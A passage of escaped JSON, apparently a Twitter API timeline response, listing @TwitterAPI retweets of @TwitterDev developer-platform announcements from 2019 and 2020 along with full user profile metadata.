04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":25,\"favorite_count\":72,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":25,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Feb 26 17:33:41 +0000 2020\",\"id\":1232720402700521474,\"id_str\":\"1232720402700521474\",\"text\":\"RT @TwitterDev: In November, we gave people the ability to hide replies to their Tweets. Starting today, we\\u2019re opening this feature up to d\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Feb 26 17:32:51 +0000 2020\",\"id\":1232720193182412800,\"id_str\":\"1232720193182412800\",\"text\":\"In November, we gave people the ability to hide replies to their Tweets. Starting today, we\\u2019re opening this feature\\u2026 https:\\\/\\\/t.co\\\/aN8kan0Lsw\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/aN8kan0Lsw\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1232720193182412800\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":147,\"favorite_count\":388,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":147,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Mon Jan 06 20:23:49 +0000 2020\",\"id\":1214281438092238855,\"id_str\":\"1214281438092238855\",\"text\":\"RT @TwitterDev: Hello\\u2026 is it me you\\u2019re searching for? \\ud83d\\udd0e\\n\\nSearch the conversation as it unfolds with this new addition to Labs. We're making\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Mon Jan 06 20:22:05 +0000 2020\",\"id\":1214281000932593667,\"id_str\":\"1214281000932593667\",\"text\":\"Hello\\u2026 is it me you\\u2019re searching for? \\ud83d\\udd0e\\n\\nSearch the conversation as it unfolds with this new addition to Labs. We'r\\u2026 https:\\\/\\\/t.co\\\/XaqD1JJ5kF\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/XaqD1JJ5kF\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1214281000932593667\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":64,\"favorite_count\":165,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":64,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Fri Jan 03 17:21:34 +0000 2020\",\"id\":1213148410145992704,\"id_str\":\"1213148410145992704\",\"text\":\"RT @TwitterDev: Today, we\\u2019re sharing a few small improvements to make it easier for academic researchers to get started with the Twitter AP\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Jan 03 17:17:23 +0000 2020\",\"id\":1213147357551816704,\"id_str\":\"1213147357551816704\",\"text\":\"Today, we\\u2019re sharing a few small improvements to make it easier for academic researchers to get started with the Tw\\u2026 https:\\\/\\\/t.co\\\/WhV7rP54GM\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/WhV7rP54GM\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1213147357551816704\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":214,\"favorite_count\":448,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":214,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Dec 10 20:34:57 +0000 2019\",\"id\":1204499768459661312,\"id_str\":\"1204499768459661312\",\"text\":\"RT @TwitterDev: You may have seen the recent announcement about following Topics on Twitter. Today, we\\u2019re excited to provide API support fo\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Dec 10 20:27:22 +0000 2019\",\"id\":1204497856679202816,\"id_str\":\"1204497856679202816\",\"text\":\"You may have seen the recent announcement about following Topics on Twitter. Today, we\\u2019re excited to provide API su\\u2026 https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1204497856679202816\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":91,\"favorite_count\":245,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":91,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Oct 29 19:39:40 +0000 2019\",\"id\":1189265562821640193,\"id_str\":\"1189265562821640193\",\"text\":\"RT @TwitterDev: Study a sample of timely, relevant Tweets as they happen, with the newest release in Twitter Developer Labs. https:\\\/\\\/t.co\\\/m\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my 